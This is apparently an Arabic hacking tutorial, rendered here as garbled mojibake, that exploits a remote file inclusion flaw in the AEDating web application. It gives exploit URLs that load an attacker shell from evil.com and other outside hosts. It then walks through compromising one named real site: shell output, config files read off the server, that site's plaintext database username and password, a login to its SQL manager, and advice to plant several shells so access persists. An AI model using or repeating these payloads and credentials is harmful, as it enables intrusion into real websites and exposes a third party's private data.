ÓáÇã Úáíßã

##

ßæÏ:
c99shell v. 1.0 pre-release build #16

ãÚáæãÇÊ ÇáËÛÑåÜ
##

ÇáäæÚ : AEDating Remote File inclusion.

ÇáÇåÊãÇã : ÎØíÜÜÑ

äæÚ ÇáÇÕÏÑÇÊ ÇáãÕÇÈå : (all versions) << ÌãíÚ ÇáÇÕÏÑÇÊ


ÊæÖíÍ ÇáÎØÇÁ Ýì ÇáãáÝ ÇáãÕÇÇÈ :

ßæÏ:
Vulnerable code:
/inc/design.inc.php
/inc/admin_design.inc.php
require_once( "$dir[inc]db.inc.php" );
require_once( "$dir[inc]prof.inc.php" );

ÇáÇÓÊËãÇÑ : Exploit:

ßæÏ PHP:


http://site.com/[******_path]/inc/design.inc.php?dir[inc]=http://evil.com/shell.txt?
http://site.com/[******_path]/inc/admin_design.inc.php?dir[inc]=http://evil.com/shell.txt ? 

ØÑíÞå ÇáÈÍË

ÇáÈÍË Ýì ÌãíÚ ÇáÇÕÏÇÑÇÊ

ãÍÑßÇÊ ÇáÈÍË :

Ýíå ÚäÏßã ßã ãÍÑß ÇÓÑÇÆíáí ÌíÏ

ßæÏ PHP:


http://www.achla.co.il/ 
http://www.reshet.co.il/data/index.vs?dw=1 
http://www.maven.co.il/ 
http://www.tapuz.co.il/ 
http://www.walla.co.il/ 
http://www.info.gov.il/find.pl 

ÃãÇ ÇáÈÍË ÈÇáÛå ÇáÚÈÑíå ÝÓÊÎÏã :

ßæÏ:
הגישה אסורה

ßíÝíå ÇáÊØÈíÞ ÈÚÏ ÇáÈÍË Ýì ÇáãÍÑßÇÊ :


ÇáãæÞÚ ÇáãÓÊåÏÝ : http://www.ujambo.com

ÇáÇä ßíÝ äÚÑÝ ÇáãæÞÚ ãÕÇÈ Ãã áà ..

äÖÚ ÎáÝ ÇáãæÞÚ ãÈÇÔÑåÜ

ßæÏ:
/inc

ÝíÕÈÍ ÑÇÈØ ÇáãæÞÚ åíß << ÇíÔ ÚäÏå ÇáÓæÑí

ßæÏ:
http://www.ujambo.com/inc/

ÇáÇä ÈÚÏ ãÇæÌÏäÇ ãáÝÇÇÇÊ ÇáãæÞÚ ÇáÊí ÊÙåÑ áäÇÇ åßÐÇÇ

ßæÏ PHP:


RadiusAssistant.inc     17-Jun-2005 01:58     1k  
 admin.inc.php           17-Jun-2005 01:57    63k  
 admin_design.inc.php    17-Jun-2005 01:57    31k  
 aemedia.nsi             17-Jun-2005 00:39     2k  
 banners.inc.php         17-Jun-2005 01:57     1k  
 config_design_act.in..> 17-Jun-2005 01:57     5k  
 config_design_adl.in..> 17-Jun-2005 01:57     5k  
 config_design_ae3.in..> 17-Jun-2005 01:57     4k  
 config_design_ae4.in..> 17-Jun-2005 01:57     4k  
 config_design_def.in..> 17-Jun-2005 01:57     4k  
 config_design_dlt.in..> 17-Jun-2005 01:57     4k  
 config_design_frt.in..> 17-Jun-2005 01:57     5k  
 config_design_hip.in..> 17-Jun-2005 01:57     5k  
 config_design_mcl.in..> 17-Jun-2005 01:57     3k  
 db.inc.php              05-Jun-2006 01:19     4k  
 design.inc.php          26-Sep-2005 01:29    52k  
 header.inc.php          23-Nov-2005 05:54     2k  
 header.inc.php-old      15-Jun-2005 16:40     2k 

##

äáÇÍÙ Ýì ÇáãáÝÇÊ ãáÝ admin.inc.php
ãÇáíÒãäÇ íÚäí áÇ íÌí æÇÍÏ ãØÝí ÇáäæÑ íÞæá íáÚä Ãã ÇáÝáå íÇÍÓÇÇã æÝäßÔ ÇáÔÛá

äÌí ááãåã
äÈÍË ÇáÇä Úä ãáÝ ÃÓãåÜ design.inc.php ÚäÏãÇ äÌÏ ÇáãáÌÏ äÖÛØ Úáíå ÚáÔÇä äÔæÝ åá Ýíå ÇÎØÇÁ ÈÑãÌíå .. Ãæ áÇ

ÝÞØ !! áÊÌÑíÈå æÑÇíÍ ÊÙåÑ Ýì ÇáÕÝÍå ÇáÇÎØÇÁ ÇáÊÇáíå ÇÐÇ ßÇä Ýíå ÇÎØÇÁ

ßæÏ PHP:


Warning: mysql_pconnect() [function.mysql-pconnect]: Access denied for user 'nobody'@'localhost' (using ********: NO) in /home/ujambo/public_html/inc/db.inc.php on line 20

Warning: mysql_select_db() [function.mysql-select-db]: Access denied for user 'nobody'@'localhost' (using ********: NO) in /home/ujambo/public_html/inc/db.inc.php on line 29

Warning: mysql_select_db() [function.mysql-select-db]: A link to the server could not be established in /home/ujambo/public_html/inc/db.inc.php on line 29

Warning: mysql_select_db() [function.mysql-select-db]: Access denied for user 'nobody'@'localhost' (using ********: NO) in /home/ujambo/public_html/inc/db.inc.php on line 29

Warning: mysql_select_db() [function.mysql-select-db]: A link to the server could not be established in /home/ujambo/public_html/inc/db.inc.php on line 29 

^
^
^
íÇÓáÇã åÐÇ ÇáãØáæÈ ÇáÇä äÚæÏ ÓÑíÚÇð ÚáÔÇä äØÈÞ ÞÈá íÓßÑæä ÇáÈÇÈ

ÇáÇä äÌí ßíÝ äÑßÈ ÇáßææÏ ÊÈÚ ÇáÇÓÊËãÇÑ : æÑÇíÍ íÌíÈäÇ ßÐÇ


äáÇÍÙ ÇäÇ ÝÚáäÇ ÇÖÇÝÊíä ÝÞØ æåíå ãÓÊäÈØå ãä äÝÓ ÇáßææÏ Çáí ãßÊÔÝå ÕÇÍÈ ÇáËÛÑå

ßæÏ:
http://www.ujambo.com/inc/design.inc.php?dir[inc]=

ÇäÇ ÖÝäÇ ÈÚÏ ÇÓã ÇáãæÞÚ ÇáãáÝ ÇáãÕÇÇÈ ãÚ ÊÛíÑ ÇáãÊÛíÑÇÊ Çáí åíå

ßæÏ:
inc/design.inc.php?dir[inc]=

æÇáÇä ÇÕÈÍ shell ÊÈÚß Ýì åÐÇ ÇáãÓÇÑ

ßæÏ:
http://www.ujambo.com/inc/design.inc.php?dir[inc]=http://caring-today.org/r57.txt?

æÇáÇä ÏÎáäÇ shell

ßæÏ:
Software: Apache/1.3.37 (Unix) mod_deflate/1.0.21 PHP/5.1.4 PHP/4.4.3 mod_auth_****through/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 mod_jk/1.2.8 FrontPage/5.0.2.2634a mod_ssl/2.8.28 OpenSSL/0.9.7a
uname -a: Linux ariqua.hostforweb.net 2.4.32-ow1-acl #7 SMP Mon Jul 17 23:19:36 CDT 2006 i686
uid=99(nobody) gid=99(nobody) groups=99(nobody)
Safe-mode: OFF (not secure)
/home/ujambo/public_html/inc/ drwxr-xr-x
Free 1.66 GB of 68.6 GB (2.41%)

ÇíÔ äÓæí ÇáÇä ÈÚÏ ÏÎæá ÇáÔá !! äÒÑÚ ÈØíÎ .. áÇ ØÈÚÇð

äÑæÍ äÊÕá Ýì ÞæÇÚÏ ÇáÈíÇÇäÇÊ

äÈÍË ÇáÇä Ýì ÇáãáÝÇÊ Çáí Úáì ÇáÔá Úä ãáÝ ÃÓãåÜ header.inc.php

æäÑæÍ Úáì ÇáÊÍÑíÑ áåÐÇ ÇáãáÝ

íÌí æÇÍÏ íäÔÈáí ÇáÇä Ýíä ÇáÊÍÑíÑ Çáí ÊÞæá Úáíå íÇÈÏÑ ÇäÊ ÇÐÇ ÔÝÊ ÇáãáÝ ÑææÍ Úáì Øææá Çæá áÝå ËÇäí áÝå ÇßÈÓ ÚáíåÇÇ Çáí ÝíåÇÇ Þáã ÑÕÇÕ Úáì æÑÞå << ÕÍ ÇáÊæÕíÝ ååååååååå

ÇÐÇ ÏÎáÊ Úáì ÇáÊÍÑíÑ æÞÊåÇ ÈÊÍÕá ÍÌÇÊ ßÐÇ ÇÊÑÑß ãäåÇÇ

ßæÏ:
PRE_CHECKOUT_LINK = "$site[url]checkout/pre_checkout.php";
$ID_PIC_DIR = "$dir[root]id_img/";
$ID_PIC_URL = "$site[url]id_img/";
$ID_SOUND_DIR = "$dir[root]id_wav/";
$TMP_SOUND_DIR = "$dir[root]tmp/";
$TMP_SOUND_URL = "$site[url]tmp/";
$ID_VIDEO_DIR = "$dir[root]id_avi/";
$TMP_VIDEO_DIR = "$dir[root]tmp/";
$TMP_VIDEO_URL = "$site[url]tmp/";
$video_ext = "avi";
$MOGRIFY = "/usr/bin/mogrify";
$CONVERT = "/usr/bin/convert";
$SOX = "/usr/bin/sox";

ÃÈÍË Úä ÇÓã ÇáÇÏãä æÇÓã ÇáÞÇÚÏå æÇáÈÇÓæÑÏ

æåÐí Çáí ÑÇíÍ äÊÕá ÝíåÇ

ÈÚÏ ãÇÌÈäÇ ÇáãáÚæãÇÊ ãä ÇáÓíÑÝÑ

ßæÏ:
BUG_REPORT_EMAIL = 'errors@ujambo.com';
$db['host'] = 'localhost';
$db['sock'] = '';
$db['port'] = '';
$db['user'] = 'ujambo_admin';
$db['****wd'] = 'ujambo2005';
$db['db'] = 'ujambo_main';

ÇáÇä íÌí æÇÍÏ æíäÔÈ ãä Ýíä ÇÊÕá

äÑæÍ Úáì SQL

ÈíÌíäÇ : ËáÇË ÎíÇÑÇÇÇÊ

ßæÏ:
Username Pa s s w o r d Database

äÔíá ÇÓã ÇáÑææÊ æäÖÚ ÇÓã ÇáÇÏãä æÇáÈíÇäÇÊ Çáí ÇÎÐäåÇ

ÈÚÏ ÇáäÌÇÍ ÈÇáÏÎææá !!


ÈíÚÑÖáäÇ

ßæÏ:
SQL Manager:
MySQL 4.1.21-standard (proto v.10) running in localhost:3306 as ujambo_admin@localhost (******** - "ujambo2005")
[ Index ] [ Query ] [ Server-status ] [ Server variables ] [ Processes ] [ Logout ]

áÊØÈíÞ :

[ 1 ]

[ 2 ]


ææÞÊåÇÇ ÇáÚÈ æÍÐÝ æÚÏá Ýì ßá Ýì ÇáãæÞÚ Çáí ÇäÊ Úáíå ãä ÊØíÑå Çæ ÇáÚÈ Ýì ãáÝÇÇÇÊå ..

æÇÍÈ ÇÑßÒ Úáì ÔÛáå ãÚíäå ÐÇÇ ÏÎáÊ SHELL ÍÇæá ÊÑÝÚáß ÇßËÑ ãä Ôá Ýì ßã ãáÝ ÚáÔÇä ÊÖãä ÇáÏÎæá Ýì ßá ãÑÑÑå


æåäÇ ÑÝÚÊ áÇÇÓÊËãÇÑ ãÚ ÇáÊØÈíÞ áÚÏã ÇáÔÝíÑ

ßæÏ PHP:


http://www.boob11.com/BADER/KSA.X.txt 

####

Êã ÇáÔÑÍ æÇáÍãÏ ááå ÈÇáÊÝÕíá æÚÇÏ Çááå ÈÇáãæÇÞÚ
æÃíÊ ÎØÇÁ Ýì ÇáÔÑÍ ÇÑÌææ ÇáÚÐÑ Úáì ÓÑÚÊí Ýì ÇáÔÑÍ æÚÏã æÌæÏ ÇáÕæÑ

- - - - - - -


íáÇ ÇáÇä äææã ÇÔæÝßã ÈÇÇßÑ

#####

ÇáÊæÝíÞ ááÌãíÚ


milw0rm

#####